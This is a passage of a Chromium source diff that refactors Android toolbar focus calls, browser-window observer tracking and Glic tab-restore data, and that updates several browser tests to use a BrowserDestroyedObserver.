+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/forward_button/ForwardButtonCoordinator.java
@@ -24,8 +24,6 @@
 import org.chromium.chrome.browser.toolbar.top.NavigationPopup;
 import org.chromium.chrome.browser.toolbar.top.ToolbarChildButton;
 import org.chromium.chrome.browser.toolbar.top.ToolbarUtils;
-import org.chromium.components.omnibox.AutocompleteRequestType;
-import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.ui.widget.ChromeImageButton;
 
 import java.util.function.Supplier;
@@ -198,14 +196,7 @@
     private void maybeUnfocusUrlBar() {
         LocationBar locationBar = mLocationBarSupplier.get();
         if (locationBar != null && locationBar.getOmniboxStub() != null) {
-            locationBar
-                    .getOmniboxStub()
-                    .setUrlBarFocus(
-                            /* shouldBeFocused= */ false,
-                            null,
-                            /* selectText= */ false,
-                            OmniboxFocusReason.UNFOCUS,
-                            AutocompleteRequestType.SEARCH);
+            locationBar.getOmniboxStub().setUrlBarFocus(null);
         }
     }
 
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/ToolbarPhone.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/ToolbarPhone.java
index 8f3207d..3710bd5 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/ToolbarPhone.java
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/ToolbarPhone.java
@@ -3054,8 +3054,7 @@
         // (When Bottom Toolbar v2 is enabled and URL has focus).
         int effectiveTopPadding = getEffectiveTopPaddingForEdgeToEdge();
 
-        ViewGroup.MarginLayoutParams marginLayoutParams =
-                (ViewGroup.MarginLayoutParams) getLayoutParams();
+        var layoutParams = getLayoutParams();
 
         // During screen rotation, onToEdgeChange() is called and may reset the toolbar height.
         // When URL has focus, the toolbar should use WRAP_CONTENT to support multiline omnibox,
@@ -3063,13 +3062,13 @@
         if (urlHasFocus()
                 && (OmniboxFeatures.allowMultilineEditField()
                         || ChromeFeatureList.sAndroidBottomToolbarV2.isEnabled())) {
-            marginLayoutParams.height = LayoutParams.WRAP_CONTENT;
+            layoutParams.height = LayoutParams.WRAP_CONTENT;
         } else {
-            marginLayoutParams.height =
+            layoutParams.height =
                     getResources().getDimensionPixelSize(R.dimen.toolbar_height_no_shadow)
                             + effectiveTopPadding;
         }
-
+        setLayoutParams(layoutParams);
         setPaddingRelative(
                 getPaddingStart(), effectiveTopPadding, getPaddingEnd(), getPaddingBottom());
     }
diff --git a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/TopToolbarCoordinator.java b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/TopToolbarCoordinator.java
index f263949..7e7fa4d 100644
--- a/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/TopToolbarCoordinator.java
+++ b/chrome/browser/ui/android/toolbar/java/src/org/chromium/chrome/browser/toolbar/top/TopToolbarCoordinator.java
@@ -74,8 +74,6 @@
 import org.chromium.components.browser_ui.desktop_windowing.DesktopWindowStateManager;
 import org.chromium.components.browser_ui.widget.ClipDrawableProgressBar.DrawingInfo;
 import org.chromium.components.feature_engagement.Tracker;
-import org.chromium.components.omnibox.AutocompleteRequestType;
-import org.chromium.components.omnibox.OmniboxFocusReason;
 import org.chromium.components.signin.SigninFeatureMap;
 import org.chromium.ui.resources.ResourceManager;
 import org.chromium.ui.util.TokenHolder;
@@ -263,12 +261,7 @@
                             ignoreCache -> {
                                 var omniboxStub = getLocationBar().getOmniboxStub();
                                 if (omniboxStub != null) {
-                                    omniboxStub.setUrlBarFocus(
-                                            /* shouldBeFocused= */ false,
-                                            null,
-                                            /* selectText= */ false,
-                                            OmniboxFocusReason.UNFOCUS,
-                                            AutocompleteRequestType.SEARCH);
+                                    omniboxStub.setUrlBarFocus(null);
                                 }
                                 tabController.stopOrReloadCurrentTab(ignoreCache);
                             },
diff --git a/chrome/browser/ui/ash/desks/desks_client_browsertest.cc b/chrome/browser/ui/ash/desks/desks_client_browsertest.cc
index deb58de..c193917 100644
--- a/chrome/browser/ui/ash/desks/desks_client_browsertest.cc
+++ b/chrome/browser/ui/ash/desks/desks_client_browsertest.cc
@@ -2531,11 +2531,12 @@
   ASSERT_TRUE(desks_controller->active_desk()->ContainsAppWindows());
 
   // Now save the desk. This should close the desk.
+  ui_test_utils::BrowserDestroyedObserver observer;
   ClickSaveDeskForLaterMenuItem();
   ash::WaitForSavedDeskUI();
 
   // Wait for the browser to close.
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   // Verify that we're back to one desk.
   EXPECT_EQ(1u, desks.size());
@@ -3006,8 +3007,9 @@
   {
     aura::test::WindowDestroyedWaiter waiter(
         browser()->window()->GetNativeWindow());
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     SendKey(ui::VKEY_RETURN);
-    ui_test_utils::WaitForBrowserToClose(browser());
+    observer.Wait();
     waiter.Wait();
   }
 
diff --git a/chrome/browser/ui/ash/shelf/chrome_shelf_controller_browsertest.cc b/chrome/browser/ui/ash/shelf/chrome_shelf_controller_browsertest.cc
index 0386854..4e941c38 100644
--- a/chrome/browser/ui/ash/shelf/chrome_shelf_controller_browsertest.cc
+++ b/chrome/browser/ui/ash/shelf/chrome_shelf_controller_browsertest.cc
@@ -190,17 +190,19 @@
 
 // Close |app_browser| and wait until it's closed.
 void CloseAppBrowserWindow(BrowserWindowInterface* app_browser) {
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   app_browser->GetWindow()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
 }
 
 // Close browsers from context menu
 void CloseBrowserWindow(Browser* browser,
                         ShelfContextMenu* menu,
                         int close_command) {
+  ui_test_utils::BrowserDestroyedObserver observer(browser);
   // Note that event_flag is never used inside function ExecuteCommand.
   menu->ExecuteCommand(close_command, ui::EF_NONE);
-  ui_test_utils::WaitForBrowserToClose(browser);
+  observer.Wait();
 }
 
 int64_t GetDisplayIdForBrowserWindow(ui::BaseWindow* window) {
diff --git a/chrome/browser/ui/autofill/chrome_autofill_client.h b/chrome/browser/ui/autofill/chrome_autofill_client.h
index 3af5678..98122f2 100644
--- a/chrome/browser/ui/autofill/chrome_autofill_client.h
+++ b/chrome/browser/ui/autofill/chrome_autofill_client.h
@@ -363,7 +363,6 @@
   // the current tab. When present, some parts of Autofill may behave
   // differently. There can be at most one actor on a given tab. If there is no
   // actor interacting with the current tab it is `std::nullopt`.
-  // TODO(crbug.com/469428128): Handle actor mode in the relevant flows.
   std::optional<actor::TaskId> active_actor_task_;
 #endif  // BUILDFLAG(IS_ANDROID)
 
diff --git a/chrome/browser/ui/blocked_content/popup_blocker_browsertest.cc b/chrome/browser/ui/blocked_content/popup_blocker_browsertest.cc
index 3369c97..0a51be4 100644
--- a/chrome/browser/ui/blocked_content/popup_blocker_browsertest.cc
+++ b/chrome/browser/ui/blocked_content/popup_blocker_browsertest.cc
@@ -699,8 +699,9 @@
   tab->GetDelegate()->EnterFullscreenModeForTab(tab->GetPrimaryMainFrame(), {});
   ui_test_utils::FullscreenWaiter(app, {.tab_fullscreen = true}).Wait();
 
+  ui_test_utils::BrowserDestroyedObserver observer(app);
   app->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(app);
+  observer.Wait();
 }
 
 // Tests that Ctrl+Enter/Cmd+Enter keys on a link open the background tab.
diff --git a/chrome/browser/ui/browser_browsertest.cc b/chrome/browser/ui/browser_browsertest.cc
index d507a83d..f3f4969 100644
--- a/chrome/browser/ui/browser_browsertest.cc
+++ b/chrome/browser/ui/browser_browsertest.cc
@@ -1355,9 +1355,11 @@
   ASSERT_EQ(2u, chrome::GetBrowserCount(browser()->profile()));
 
   // Re-attach the dev tools window. This resets its Browser*.
+  ui_test_utils::BrowserDestroyedObserver observer(
+      chrome::FindBrowserWithTab(devtools_main_web_contents));
   devtools_delegate->SetIsDocked(true);
   // Wait until the browser actually gets closed.
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   ASSERT_EQ(1u, chrome::GetBrowserCount(browser()->profile()));
 
   // Do something that will make SearchTabHelper access its OmniboxView. This
diff --git a/chrome/browser/ui/browser_live_tab_context.cc b/chrome/browser/ui/browser_live_tab_context.cc
index c4afcaf..3a4f0df 100644
--- a/chrome/browser/ui/browser_live_tab_context.cc
+++ b/chrome/browser/ui/browser_live_tab_context.cc
@@ -56,6 +56,10 @@
 #include "ui/base/mojom/window_show_state.mojom.h"
 #include "ui/base/window_open_disposition.h"
 
+#if BUILDFLAG(ENABLE_GLIC)
+#include "chrome/browser/glic/glic_tab_restore_helper.h"
+#endif
+
 using content::NavigationController;
 using content::SessionStorageNamespace;
 using content::WebContents;
@@ -154,7 +158,14 @@
 
 std::map<std::string, std::string> BrowserLiveTabContext::GetExtraDataForTab(
     int index) const {
-  return std::map<std::string, std::string>();
+  std::map<std::string, std::string> extra_data;
+
+#if BUILDFLAG(ENABLE_GLIC)
+  glic::PopulateGlicExtraData(tab_strip_model_->GetWebContentsAt(index),
+                              &extra_data);
+#endif
+
+  return extra_data;
 }
 
 std::map<std::string, std::string>
diff --git a/chrome/browser/ui/browser_tabrestore.cc b/chrome/browser/ui/browser_tabrestore.cc
index 7ed4870..08fd54ac 100644
--- a/chrome/browser/ui/browser_tabrestore.cc
+++ b/chrome/browser/ui/browser_tabrestore.cc
@@ -24,6 +24,7 @@
 #include "chrome/browser/ui/tabs/tab_group_model.h"
 #include "chrome/browser/ui/tabs/tab_strip_model.h"
 #include "chrome/browser/ui/webui_browser/webui_browser.h"
+#include "chrome/common/buildflags.h"
 #include "components/sessions/content/content_serialized_navigation_builder.h"
 #include "components/tab_groups/tab_group_id.h"
 #include "components/tabs/public/tab_group.h"
@@ -37,6 +38,10 @@
 #include "ui/gfx/geometry/size.h"
 #include "ui/gfx/range/range.h"
 
+#if BUILDFLAG(ENABLE_GLIC)
+#include "chrome/browser/glic/glic_tab_restore_helper.h"
+#endif
+
 using content::NavigationEntry;
 using content::RestoreType;
 using content::WebContents;
@@ -82,6 +87,10 @@
   apps::SetAppIdForWebContents(browser->profile(), web_contents.get(),
                                extension_app_id);
 
+#if BUILDFLAG(ENABLE_GLIC)
+  glic::RestoreGlicStateFromExtraData(web_contents.get(), extra_data);
+#endif
+
   std::vector<std::unique_ptr<NavigationEntry>> entries =
       ContentSerializedNavigationBuilder::ToNavigationEntries(
           navigations, browser->profile());
diff --git a/chrome/browser/ui/browser_window/internal/BUILD.gn b/chrome/browser/ui/browser_window/internal/BUILD.gn
index 2cefce3..96d0daf 100644
--- a/chrome/browser/ui/browser_window/internal/BUILD.gn
+++ b/chrome/browser/ui/browser_window/internal/BUILD.gn
@@ -248,6 +248,7 @@
       "android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskBoundsConstraintsUnitTest.java",
       "android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskImplUnitTest.java",
       "android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskTrackerImplUnitTest.java",
+      "android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegateUnitTest.java",
       "android/java/src/org/chromium/chrome/browser/ui/browser_window/PendingActionManagerUnitTest.java",
     ]
     deps = [
@@ -288,6 +289,7 @@
       ":java",
       "//base:base_java_test_support",
       "//base/test:public_transit_java",
+      "//chrome/android:chrome_test_java",
       "//chrome/android/javatests:chrome_test_java_helper",
       "//chrome/browser/flags:java",
       "//chrome/browser/profiles/android:java",
diff --git a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskImpl.java b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskImpl.java
index c681ab5..78edf02 100644
--- a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskImpl.java
+++ b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskImpl.java
@@ -1035,6 +1035,11 @@
         mAndroidBrowserWindowObservers.removeObserver(observer);
     }
 
+    @Override
+    public boolean hasAndroidBrowserWindowObserver(AndroidBrowserWindowObserver observer) {
+        return mAndroidBrowserWindowObservers.hasObserver(observer);
+    }
+
     @VisibleForTesting
     @State
     int getState() {
diff --git a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskIntegrationTest.java b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskIntegrationTest.java
index ff8f418d..ca3f618 100644
--- a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskIntegrationTest.java
+++ b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskIntegrationTest.java
@@ -44,8 +44,10 @@
 import org.chromium.chrome.browser.ChromeTabbedActivity;
 import org.chromium.chrome.browser.browserservices.intents.BrowserServicesIntentDataProvider.CustomTabsUiType;
 import org.chromium.chrome.browser.customtabs.CustomTabActivityTestRule;
+import org.chromium.chrome.browser.customtabs.CustomTabActivityTypeTestUtils;
 import org.chromium.chrome.browser.customtabs.CustomTabIntentDataProvider;
 import org.chromium.chrome.browser.customtabs.CustomTabsIntentTestUtils;
+import org.chromium.chrome.browser.flags.ActivityType;
 import org.chromium.chrome.browser.flags.ChromeFeatureList;
 import org.chromium.chrome.browser.flags.ChromeSwitches;
 import org.chromium.chrome.browser.init.AsyncInitializationActivity;
@@ -158,6 +160,19 @@
 
     @Test
     @MediumTest
+    public void startTwa_createsChromeAndroidTask() throws Exception {
+        // Act.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+
+        // Assert.
+        int taskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var chromeAndroidTask = getChromeAndroidTask(taskId);
+        assertNotNull(chromeAndroidTask);
+    }
+
+    @Test
+    @MediumTest
     public void startChromeTabbedActivity_chromeAndroidTaskAndTabModelHaveSameSessionId() {
         // Arrange.
         mFreshCtaTransitTestRule.startOnBlankPage();
@@ -221,6 +236,27 @@
 
     @Test
     @MediumTest
+    public void startTwa_chromeAndroidTaskAndTabModelHaveSameSessionId() throws Exception {
+        // Arrange.
+        CustomTabActivityTypeTestUtils.launchActivity(
+                ActivityType.TRUSTED_WEB_ACTIVITY, mCustomTabActivityTestRule, "about:blank");
+
+        int taskId = mCustomTabActivityTestRule.getActivity().getTaskId();
+        var chromeAndroidTask = getChromeAndroidTask(taskId);
+        assertNotNull(chromeAndroidTask);
+
+        var tabModel = mCustomTabActivityTestRule.getActivity().getCurrentTabModel();
+
+        // Assert.
+        assertNotNull(chromeAndroidTask.getSessionIdForTesting());
+        assertNotNull(tabModel.getNativeSessionIdForTesting());
+        assertEquals(
+                chromeAndroidTask.getSessionIdForTesting(),
+                tabModel.getNativeSessionIdForTesting());
+    }
+
+    @Test
+    @MediumTest
     @Restriction(DeviceFormFactor.TABLET_OR_DESKTOP /* test needs "new window" in app menu */)
     public void startChromeTabbedActivity_activeChromeAndroidTask_isActive() {
         // Arrange & Act.
diff --git a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskTrackerImpl.java b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskTrackerImpl.java
index aea4045..09c39014f 100644
--- a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskTrackerImpl.java
+++ b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTaskTrackerImpl.java
@@ -22,7 +22,6 @@
 import org.chromium.build.annotations.Nullable;
 import org.chromium.chrome.browser.customtabs.PopupIntentCreatorProvider;
 import org.chromium.chrome.browser.incognito.IncognitoUtils;
-import org.chromium.chrome.browser.multiwindow.MultiInstanceManager;
 import org.chromium.chrome.browser.ui.browser_window.ChromeAndroidTask.PendingTaskInfo;
 import org.chromium.chrome.browser.util.WindowFeatures;
 import org.chromium.ui.base.ActivityWindowAndroid;
@@ -230,6 +229,13 @@
         return getAllTasks().size();
     }
 
+    /** Returns all PENDING and ALIVE Tasks. */
+    /*package*/ List<ChromeAndroidTask> getAllTasks() {
+        List<ChromeAndroidTask> tasks = new ArrayList<>(mTasks.values());
+        tasks.addAll(mPendingTasks.values());
+        return tasks;
+    }
+
     /**
      * Removes all {@link ChromeAndroidTask}s.
      *
@@ -240,12 +246,20 @@
      */
     void removeAllForTesting() {
         ThreadUtils.assertOnUiThread();
-        mTasks.forEach((taskId, task) -> task.destroy());
+        for (var task : mTasks.values()) {
+            task.destroy();
+        }
         mTasks.clear();
-        mPendingTasks.forEach((taskId, task) -> task.destroy());
+        for (var task : mPendingTasks.values()) {
+            task.destroy();
+        }
         mPendingTasks.clear();
     }
 
+    boolean hasObserverForTesting(ChromeAndroidTaskTrackerObserver observer) {
+        return mObservers.hasObserver(observer);
+    }
+
     @Nullable ChromeAndroidTask getPendingTaskForTesting(int pendingId) {
         ThreadUtils.assertOnUiThread();
         return mPendingTasks.get(pendingId);
@@ -342,8 +356,6 @@
     }
 
     private static void launchNewWindowIntent(Intent intent, Rect initialBounds) {
-        MultiInstanceManager.onMultiInstanceModeStarted();
-
         var context = ContextUtils.getApplicationContext();
         if (initialBounds.isEmpty()) {
             context.startActivity(intent);
@@ -354,11 +366,4 @@
         options.setLaunchBounds(initialBounds);
         context.startActivity(intent, options.toBundle());
     }
-
-    /** Returns all PENDING and ALIVE Tasks. */
-    private List<ChromeAndroidTask> getAllTasks() {
-        List<ChromeAndroidTask> tasks = new ArrayList<>(mTasks.values());
-        tasks.addAll(mPendingTasks.values());
-        return tasks;
-    }
 }
diff --git a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegate.java b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegate.java
index 129d2ca..5a9a673 100644
--- a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegate.java
+++ b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegate.java
@@ -4,6 +4,8 @@
 
 package org.chromium.chrome.browser.ui.browser_window;
 
+import androidx.annotation.VisibleForTesting;
+
 import org.jni_zero.CalledByNative;
 import org.jni_zero.NativeMethods;
 
@@ -16,7 +18,8 @@
  * browsers sorted by creation and activation time.
  */
 @NullMarked
-final class GlobalBrowserCollectionPlatformDelegate implements ChromeAndroidTaskTrackerObserver {
+final class GlobalBrowserCollectionPlatformDelegate
+        implements AndroidBrowserWindowObserver, ChromeAndroidTaskTrackerObserver {
     /** Pointer to the native GlobalBrowserCollectionPlatformDelegate object. */
     private long mNativePointer;
 
@@ -36,33 +39,62 @@
      *
      * @param nativePointer A pointer to the native GlobalBrowserCollectionPlatformDelegate object.
      */
-    private GlobalBrowserCollectionPlatformDelegate(long nativePointer) {
+    @VisibleForTesting
+    GlobalBrowserCollectionPlatformDelegate(long nativePointer) {
         mNativePointer = nativePointer;
-        ChromeAndroidTaskTrackerImpl.getInstance().addObserver(this);
+        var tracker = ChromeAndroidTaskTrackerImpl.getInstance();
+        // If there are any existing tasks, add observers to them now as the implementation of
+        // ChromeAndroidTaskTrackerObserver only receives signals on future events.
+        for (ChromeAndroidTask task : tracker.getAllTasks()) {
+            onTaskAdded(task);
+        }
+        tracker.addObserver(this);
     }
 
     /**
      * Cleans up this object and remove it from observing the ChromeAndroidTaskTrackerImpl instance.
      */
     @CalledByNative
-    private void destroy() {
+    @VisibleForTesting
+    void destroy() {
         ChromeAndroidTaskTrackerImpl.getInstance().removeObserver(this);
         mNativePointer = 0;
     }
 
     @Override
     public void onTaskAdded(ChromeAndroidTask task) {
-        if (mNativePointer != 0) {
-            GlobalBrowserCollectionPlatformDelegateJni.get()
-                    .onBrowserCreated(mNativePointer, task.getOrCreateNativeBrowserWindowPtr());
+        // If there are any existing windows in the task, count them now as the implementation of
+        // AndroidBrowserWindowObserver only receives signals on future events.
+        assert !task.hasAndroidBrowserWindowObserver(this);
+        for (long androidBrowserWindowPtr : task.getAllNativeBrowserWindowPtrs()) {
+            onBrowserWindowAdded(androidBrowserWindowPtr);
         }
+        task.addAndroidBrowserWindowObserver(this);
     }
 
     @Override
     public void onTaskRemoved(ChromeAndroidTask task) {
+        task.removeAndroidBrowserWindowObserver(this);
+        // In the event there were still windows in the task, remove them as the observer has been
+        // removed and will no longer receive signals.
+        for (long androidBrowserWindowPtr : task.getAllNativeBrowserWindowPtrs()) {
+            onBrowserWindowRemoved(androidBrowserWindowPtr);
+        }
+    }
+
+    @Override
+    public void onBrowserWindowAdded(long androidBrowserWindowPtr) {
         if (mNativePointer != 0) {
             GlobalBrowserCollectionPlatformDelegateJni.get()
-                    .onBrowserClosed(mNativePointer, task.getOrCreateNativeBrowserWindowPtr());
+                    .onBrowserCreated(mNativePointer, androidBrowserWindowPtr);
+        }
+    }
+
+    @Override
+    public void onBrowserWindowRemoved(long androidBrowserWindowPtr) {
+        if (mNativePointer != 0) {
+            GlobalBrowserCollectionPlatformDelegateJni.get()
+                    .onBrowserClosed(mNativePointer, androidBrowserWindowPtr);
         }
     }
 
diff --git a/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegateUnitTest.java b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegateUnitTest.java
new file mode 100644
index 0000000..4f08ef3
--- /dev/null
+++ b/chrome/browser/ui/browser_window/internal/android/java/src/org/chromium/chrome/browser/ui/browser_window/GlobalBrowserCollectionPlatformDelegateUnitTest.java
@@ -0,0 +1,131 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.chrome.browser.ui.browser_window;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.ArgumentMatchers.anyLong;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+
+import static org.chromium.chrome.browser.ui.browser_window.ChromeAndroidTaskUnitTestSupport.FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+import org.robolectric.annotation.Config;
+
+import org.chromium.base.test.BaseRobolectricTestRunner;
+
+/** Unit tests for {@link GlobalBrowserCollectionPlatformDelegate}. */
+@RunWith(BaseRobolectricTestRunner.class)
+@Config(manifest = Config.NONE)
+public class GlobalBrowserCollectionPlatformDelegateUnitTest {
+    private static final long DELEGATE_PTR = 78787878L;
+
+    @Rule public final MockitoRule mockitoRule = MockitoJUnit.rule();
+
+    @Mock private GlobalBrowserCollectionPlatformDelegate.Natives mNativeMock;
+
+    private final ChromeAndroidTaskTrackerImpl mTaskTracker =
+            ChromeAndroidTaskTrackerImpl.getInstance();
+
+    @Before
+    public void setUp() {
+        GlobalBrowserCollectionPlatformDelegateJni.setInstanceForTesting(mNativeMock);
+
+        ChromeAndroidTaskUnitTestSupport.createMockAndroidBrowserWindowNatives();
+    }
+
+    @After
+    public void tearDown() {
+        mTaskTracker.removeAllForTesting();
+    }
+
+    @Test
+    public void testCreateAndDestroy() {
+        GlobalBrowserCollectionPlatformDelegate delegate =
+                new GlobalBrowserCollectionPlatformDelegate(DELEGATE_PTR);
+
+        assertTrue(mTaskTracker.hasObserverForTesting(delegate));
+
+        delegate.destroy();
+        assertFalse(mTaskTracker.hasObserverForTesting(delegate));
+    }
+
+    @Test
+    public void testExistingTask() {
+        // Arrange: Create a new task.
+        int taskId = 1;
+        var activityScopedObjects =
+                ChromeAndroidTaskUnitTestSupport.createMockActivityScopedObjects(taskId);
+        var chromeAndroidTask =
+                mTaskTracker.obtainTask(
+                        BrowserWindowType.NORMAL, activityScopedObjects, /* pendingId= */ null);
+        GlobalBrowserCollectionPlatformDelegate delegate =
+                new GlobalBrowserCollectionPlatformDelegate(DELEGATE_PTR);
+
+        verify(mNativeMock).onBrowserCreated(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        assertTrue(chromeAndroidTask.hasAndroidBrowserWindowObserver(delegate));
+
+        delegate.destroy();
+    }
+
+    @Test
+    public void testTaskAddedAndRemoved() {
+        GlobalBrowserCollectionPlatformDelegate delegate =
+                new GlobalBrowserCollectionPlatformDelegate(DELEGATE_PTR);
+        verify(mNativeMock, never()).onBrowserCreated(anyLong(), anyLong());
+
+        int taskId = 1;
+        var activityScopedObjects =
+                ChromeAndroidTaskUnitTestSupport.createMockActivityScopedObjects(taskId);
+        var chromeAndroidTask =
+                mTaskTracker.obtainTask(
+                        BrowserWindowType.NORMAL, activityScopedObjects, /* pendingId= */ null);
+
+        verify(mNativeMock).onBrowserCreated(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        assertTrue(chromeAndroidTask.hasAndroidBrowserWindowObserver(delegate));
+
+        delegate.onTaskRemoved(chromeAndroidTask);
+        verify(mNativeMock).onBrowserClosed(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        assertFalse(chromeAndroidTask.hasAndroidBrowserWindowObserver(delegate));
+
+        delegate.destroy();
+    }
+
+    @Test
+    public void testBrowserWindowAddedAndRemoved() {
+        GlobalBrowserCollectionPlatformDelegate delegate =
+                new GlobalBrowserCollectionPlatformDelegate(DELEGATE_PTR);
+
+        delegate.onBrowserWindowAdded(FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        verify(mNativeMock).onBrowserCreated(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+
+        delegate.onBrowserWindowRemoved(FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        verify(mNativeMock).onBrowserClosed(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+
+        delegate.destroy();
+    }
+
+    @Test
+    public void testNativePointerZero() {
+        GlobalBrowserCollectionPlatformDelegate delegate =
+                new GlobalBrowserCollectionPlatformDelegate(DELEGATE_PTR);
+        delegate.destroy();
+
+        delegate.onBrowserWindowAdded(FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        delegate.onBrowserWindowRemoved(FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        verify(mNativeMock, never())
+                .onBrowserCreated(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+        verify(mNativeMock, never())
+                .onBrowserClosed(DELEGATE_PTR, FAKE_NATIVE_ANDROID_BROWSER_WINDOW_PTR);
+    }
+}
diff --git a/chrome/browser/ui/browser_window/public/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTask.java b/chrome/browser/ui/browser_window/public/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTask.java
index 242b1b7..7b7e76c 100644
--- a/chrome/browser/ui/browser_window/public/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTask.java
+++ b/chrome/browser/ui/browser_window/public/android/java/src/org/chromium/chrome/browser/ui/browser_window/ChromeAndroidTask.java
@@ -269,6 +269,9 @@
      */
     void removeAndroidBrowserWindowObserver(AndroidBrowserWindowObserver observer);
 
+    /** Returns whether observer is registered for {@code AndroidBrowserWindow} events. */
+    boolean hasAndroidBrowserWindowObserver(AndroidBrowserWindowObserver observer);
+
     /**
      * Destroys all objects owned by this {@link ChromeAndroidTask}, including all {@link
      * ChromeAndroidTaskFeature}s.
diff --git a/chrome/browser/ui/cocoa/apps/quit_with_apps_controller_mac_interactive_uitest.mm b/chrome/browser/ui/cocoa/apps/quit_with_apps_controller_mac_interactive_uitest.mm
index aa152955..afa4a8b1 100644
--- a/chrome/browser/ui/cocoa/apps/quit_with_apps_controller_mac_interactive_uitest.mm
+++ b/chrome/browser/ui/cocoa/apps/quit_with_apps_controller_mac_interactive_uitest.mm
@@ -115,9 +115,10 @@
   // Get a reference to the open app window before the browser closes.
   extensions::AppWindow* app_window = GetFirstAppWindow();
 
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   // Quitting should not quit but close all browsers
   chrome_browser_application_mac::Terminate();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 
   EXPECT_TRUE(GlobalBrowserCollection::GetInstance()->IsEmpty());
   EXPECT_TRUE(AppWindowRegistryUtil::IsAppWindowVisibleInAnyProfile(0));
diff --git a/chrome/browser/ui/cocoa/browser_window_mac_browsertest.mm b/chrome/browser/ui/cocoa/browser_window_mac_browsertest.mm
index 1f49a38..10092171 100644
--- a/chrome/browser/ui/cocoa/browser_window_mac_browsertest.mm
+++ b/chrome/browser/ui/cocoa/browser_window_mac_browsertest.mm
@@ -48,8 +48,9 @@
   EXPECT_TRUE(window);
